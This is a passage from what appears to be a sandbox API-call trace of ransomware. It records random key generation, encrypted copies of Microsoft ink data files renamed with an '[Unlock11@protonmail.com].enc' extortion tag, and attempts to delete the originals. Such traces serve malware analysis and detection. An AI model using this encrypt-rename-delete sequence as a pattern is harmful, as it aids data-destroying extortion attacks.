GetCurrentThreadId () returned 0x9b0 [0119.585] GetLastError () returned 0x0 [0119.585] GetLastError () returned 0x0 [0119.587] GetLastError () returned 0x0 [0119.587] GetCurrentThreadId () returned 0x9b0 [0119.587] GetLastError () returned 0x0 [0119.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0119.588] GetCurrentThreadId () returned 0x9b0 [0119.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.588] GetLastError () returned 0x0 [0119.589] GetLastError () returned 0x0 [0119.589] GetLastError () returned 0x0 [0119.589] GetLastError () returned 0x0 [0119.589] GetCurrentThreadId () returned 0x9b0 [0119.589] GetLastError () returned 0x0 [0119.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0119.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0119.589] GetLastError () returned 0x0 [0119.591] GetLastError () returned 0x0 [0119.591] GetCurrentThreadId () returned 0x9b0 [0119.591] GetLastError () returned 0x0 [0119.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.592] GetLastError () returned 0x0 [0119.593] GetLastError () returned 0x0 [0119.593] GetCurrentThreadId () returned 0x9b0 [0119.593] GetLastError () returned 0x0 [0119.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0119.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.593] GetCurrentThreadId () returned 0x9b0 [0119.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.594] GetLastError () returned 0x0 [0119.594] GetLastError () returned 0x0 [0119.594] GetLastError () returned 0x0 [0119.594] GetLastError () returned 0x0 [0119.594] GetCurrentThreadId () returned 0x9b0 [0119.594] GetLastError () returned 0x0 [0119.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.595] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.595] GetLastError () returned 0x0 [0119.596] GetLastError () returned 0x0 [0119.596] GetCurrentThreadId () returned 0x9b0 [0119.596] GetLastError () returned 0x0 [0119.597] GetCurrentThreadId () returned 0x9b0 [0119.597] GetLastError () returned 0x0 [0119.597] GetCurrentThreadId () returned 0x9b0 [0119.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.597] GetCurrentThreadId () returned 0x9b0 [0119.597] GetLastError () returned 0x0 [0119.598] GetCurrentThreadId () returned 0x9b0 [0119.599] GetLastError () returned 0x0 [0119.821] GetCurrentThreadId () returned 0x9b0 [0119.821] GetLastError () returned 0x0 [0119.821] GetCurrentThreadId () returned 0x9b0 [0119.822] GetCurrentThreadId () returned 0x9b0 [0119.823] GetLastError () returned 0x0 [0119.840] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x4815) returned 0x35c5908 [0119.841] CloseHandle (hObject=0x3ac) returned 1 [0119.841] CloseHandle (hObject=0x39c) returned 1 [0119.841] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0 [0119.842] GetLastError () returned 0x5 [0119.842] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat", lpFilePart=0x9bada4*="hwrcommonlm.dat") returned 0x42 [0119.842] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620)) returned 1 [0119.842] GetLastError () returned 0x0 [0119.843] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0d4 | out: pbBuffer=0x366a0d4) returned 1 [0119.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0119.843] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0119.843] GetFileType (hFile=0x39c) returned 0x1 [0119.843] GetFileType (hFile=0x39c) returned 0x1 [0119.843] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.843] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.844] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.844] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.844] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.844] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.844] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.845] GetLastError () returned 0x0 [0119.845] GetCurrentThreadId () returned 0x9b0 [0119.845] GetLastError () returned 0x0 [0119.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb20 | out: hHeap=0x2ad0000) returned 1 [0119.845] GetLastError () returned 0x0 [0119.845] GetLastError () returned 0x0 [0119.845] GetLastError () returned 0x0 [0119.845] GetLastError () returned 0x0 [0119.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0119.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652e8 [0119.846] GetLastError () returned 0x0 [0119.846] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0119.846] GetFileType (hFile=0x3ac) returned 0x1 [0119.846] GetLastError () returned 0x0 [0119.846] GetCurrentThreadId () returned 0x9b0 [0119.846] GetLastError () returned 0x0 [0119.846] GetFileType (hFile=0x3ac) returned 0x1 [0119.847] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.847] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.847] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.847] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.847] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.847] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.847] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.847] GetLastError () returned 0x0 [0119.847] GetCurrentThreadId () returned 0x9b0 [0119.847] GetLastError () returned 0x0 [0119.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652e8 | out: hHeap=0x2ad0000) returned 1 [0119.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0119.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0119.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0119.848] GetLastError () returned 0x0 [0119.848] GetLastError () returned 0x0 [0119.848] GetCurrentThreadId () returned 0x9b0 [0119.848] GetLastError () returned 0x0 [0119.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0119.848] GetLastError () returned 0x0 [0119.848] GetLastError () returned 0x0 [0119.848] GetCurrentThreadId () returned 0x9b0 [0119.848] GetLastError () returned 0x0 [0119.849] GetLastError () returned 0x0 [0119.931] GetLastError () returned 0x0 [0119.932] GetCurrentThreadId () returned 0x9b0 [0119.932] GetLastError () returned 0x0 [0119.932] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xb635) returned 0x35c5908 [0119.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265358 [0119.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0119.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb638) returned 0x36f8548 [0119.932] GetLastError () returned 0x0 [0119.933] GetLastError () returned 0x0 [0119.933] GetLastError () returned 0x0 [0119.933] GetLastError () returned 0x0 [0119.933] GetCurrentThreadId () returned 0x9b0 [0119.933] GetLastError () returned 0x0 [0119.933] GetCurrentThreadId () returned 0x9b0 [0119.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb635) returned 0x37bf790 [0119.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0119.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0119.933] GetLastError () returned 0x0 [0119.935] GetLastError () returned 0x0 [0119.935] GetCurrentThreadId () returned 0x9b0 [0119.935] GetLastError () returned 0x0 [0119.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.935] GetLastError () returned 0x0 [0119.936] GetLastError () returned 0x0 [0119.936] GetCurrentThreadId () returned 0x9b0 [0119.936] GetLastError () returned 0x0 [0119.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.936] GetLastError () returned 0x0 [0119.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0119.936] CloseHandle (hObject=0x3ac) returned 1 [0119.937] GetLastError () returned 0x0 [0119.937] GetCurrentThreadId () returned 0x9b0 [0119.937] GetLastError () returned 0x0 [0119.937] GetLastError () returned 0x0 [0119.937] CloseHandle (hObject=0x39c) returned 1 [0119.937] GetLastError () returned 0x0 [0119.937] GetCurrentThreadId () returned 0x9b0 [0119.937] GetLastError () returned 0x0 [0119.937] GetLastError () returned 0x0 [0119.937] GetLastError () returned 0x0 [0119.938] GetLastError () returned 0x0 [0119.938] GetLastError () returned 0x0 [0119.938] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0 [0119.938] GetLastError () returned 0x5 [0119.938] GetCurrentThreadId () returned 0x9b0 [0119.938] GetLastError () returned 0x5 [0119.938] GetLastError () returned 0x5 [0119.939] GetLastError () returned 0x5 [0119.939] GetLastError () returned 0x5 [0119.939] LocalFree (hMem=0x1053a70) returned 0x0 [0119.939] GetLastError () returned 0x5 [0119.939] GetLastError () returned 0x5 [0119.939] GetLastError () returned 0x5 [0119.939] GetLastError () returned 0x5 [0119.939] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat", lpFilePart=0x9bada4*="hwrenclm.dat") returned 0x3f [0119.939] GetCurrentThreadId () returned 0x9b0 [0119.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0119.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0119.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0119.940] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0119.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0119.940] GetCurrentThreadId () returned 0x9b0 [0119.940] GetLastError () returned 0x0 [0119.940] GetLastError () returned 0x0 [0119.940] GetLastError () returned 0x0 [0119.940] GetLastError () returned 0x0 [0119.940] GetCurrentThreadId () returned 0x9b0 [0119.940] GetLastError () returned 0x0 [0119.941] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0119.941] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2c8 [0119.941] GetLastError () returned 0x0 [0119.941] GetLastError () returned 0x0 [0119.941] GetLastError () returned 0x0 [0119.941] GetLastError () returned 0x0 [0119.941] GetCurrentThreadId () returned 0x9b0 [0119.941] GetLastError () returned 0x0 [0119.941] GetCurrentThreadId () returned 0x9b0 [0119.941] GetLastError () returned 0x0 [0119.941] GetLastError () returned 0x0 [0119.942] GetLastError () returned 0x0 [0119.942] GetLastError () returned 0x0 [0119.942] GetCurrentThreadId () returned 0x9b0 [0119.942] GetLastError () returned 0x0 [0119.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea2c8 | out: hHeap=0x2ad0000) returned 1 [0119.942] GetLastError () returned 0x0 [0119.942] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0119.942] GetLastError () returned 0x0 [0119.942] GetLastError () returned 0x0 [0119.942] GetLastError () returned 0x0 [0119.942] GetCurrentThreadId () returned 0x9b0 [0119.943] GetLastError () returned 0x0 [0119.943] GetLastError () returned 0x0 [0119.943] GetLastError () returned 0x0 [0119.943] GetLastError () returned 0x0 [0119.943] GetLastError () returned 0x0 [0119.943] GetCurrentThreadId () returned 0x9b0 [0119.943] GetLastError () returned 0x0 [0119.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0119.943] GetLastError () returned 0x0 [0119.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0119.943] GetLastError () returned 0x0 [0119.944] GetLastError () returned 0x0 [0119.944] GetLastError () returned 0x0 [0119.944] GetCurrentThreadId () returned 0x9b0 [0119.944] GetLastError () returned 0x0 [0119.944] GetLastError () returned 0x0 [0119.944] GetLastError () returned 0x0 [0119.944] GetLastError () returned 0x0 [0119.944] GetLastError () returned 0x0 [0119.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0119.944] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0)) returned 1 [0119.945] GetLastError () returned 0x0 [0119.945] GetCurrentThreadId () returned 0x9b0 [0119.945] GetLastError () returned 0x0 [0119.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0119.945] GetCurrentThreadId () returned 0x9b0 [0119.945] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a05c | out: pbBuffer=0x366a05c) returned 1 [0119.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0119.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0119.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0119.945] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0119.945] GetLastError () returned 0x0 [0119.946] GetLastError () returned 0x0 [0119.946] GetLastError () returned 0x0 [0119.946] GetLastError () returned 0x0 [0119.946] GetCurrentThreadId () returned 0x9b0 [0119.946] GetLastError () returned 0x0 [0119.946] GetCurrentThreadId () returned 0x9b0 [0119.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0119.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea520 [0119.946] GetLastError () returned 0x0 [0119.946] GetLastError () returned 0x0 [0119.946] GetLastError () returned 0x0 [0119.947] GetLastError () returned 0x0 [0119.947] GetCurrentThreadId () returned 0x9b0 [0119.947] GetLastError () returned 0x0 [0119.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea520 | out: hHeap=0x2ad0000) returned 1 [0119.947] GetCurrentThreadId () returned 0x9b0 [0119.947] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265318 [0119.947] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0119.947] GetLastError () returned 0x0 [0119.947] GetLastError () returned 0x0 [0119.947] GetLastError () returned 0x0 [0119.947] GetLastError () returned 0x0 [0119.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0119.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265468 [0119.948] GetLastError () returned 0x0 [0119.948] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0119.948] GetFileType (hFile=0x39c) returned 0x1 [0119.948] GetLastError () returned 0x0 [0119.948] GetCurrentThreadId () returned 0x9b0 [0119.948] GetLastError () returned 0x0 [0119.948] GetFileType (hFile=0x39c) returned 0x1 [0119.948] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.949] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.949] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.949] GetLastError () returned 0x0 [0119.949] GetCurrentThreadId () returned 0x9b0 [0119.949] GetLastError () returned 0x0 [0119.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0119.949] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887920 | out: hHeap=0x2ad0000) returned 1 [0119.949] GetLastError () returned 0x0 [0119.949] GetLastError () returned 0x0 [0119.950] GetLastError () returned 0x0 [0119.950] GetLastError () returned 0x0 [0119.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0119.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652a8 [0119.950] GetLastError () returned 0x0 [0119.950] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0119.950] GetFileType (hFile=0x3ac) returned 0x1 [0119.950] GetLastError () returned 0x0 [0119.951] GetCurrentThreadId () returned 0x9b0 [0119.951] GetLastError () returned 0x0 [0119.951] GetFileType (hFile=0x3ac) returned 0x1 [0119.951] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0119.951] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.951] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.951] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.951] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.951] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0119.951] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0119.951] GetLastError () returned 0x0 [0119.951] GetCurrentThreadId () returned 0x9b0 [0119.952] GetLastError () returned 0x0 [0119.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0119.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0119.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0119.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0119.952] GetLastError () returned 0x0 [0119.952] GetLastError () returned 0x0 [0119.952] GetCurrentThreadId () returned 0x9b0 [0119.952] GetLastError () returned 0x0 [0119.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0119.952] GetLastError () returned 0x0 [0119.952] GetLastError () returned 0x0 [0119.953] GetCurrentThreadId () returned 0x9b0 [0119.953] GetLastError () returned 0x0 [0119.953] GetLastError () returned 0x0 [0119.958] GetLastError () returned 0x0 [0119.958] GetCurrentThreadId () returned 0x9b0 [0119.958] GetLastError () returned 0x0 [0119.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0119.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0119.958] GetCurrentThreadId () returned 0x9b0 [0119.958] GetLastError () returned 0x0 [0119.958] GetLastError () returned 0x0 [0119.959] GetLastError () returned 0x0 [0119.959] GetLastError () returned 0x0 [0119.959] GetCurrentThreadId () returned 0x9b0 [0119.959] GetLastError () returned 0x0 [0119.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0119.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0119.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0119.959] GetLastError () returned 0x0 [0119.961] GetLastError () returned 0x0 [0119.961] GetCurrentThreadId () returned 0x9b0 [0119.961] GetLastError () returned 0x0 [0119.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0119.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0119.962] GetLastError () returned 0x0 [0119.992] GetLastError () returned 0x0 [0119.992] GetCurrentThreadId () returned 0x9b0 [0119.992] GetLastError () returned 0x0 [0119.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0119.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0119.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0119.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0119.993] GetCurrentThreadId () returned 0x9b0 [0119.993] GetLastError () returned 0x0 [0119.993] GetLastError () returned 0x0 [0119.993] GetLastError () returned 0x0 [0119.993] GetLastError () returned 0x0 [0119.993] GetCurrentThreadId () returned 0x9b0 [0119.993] GetLastError () returned 0x0 [0119.994] HeapFree (in: 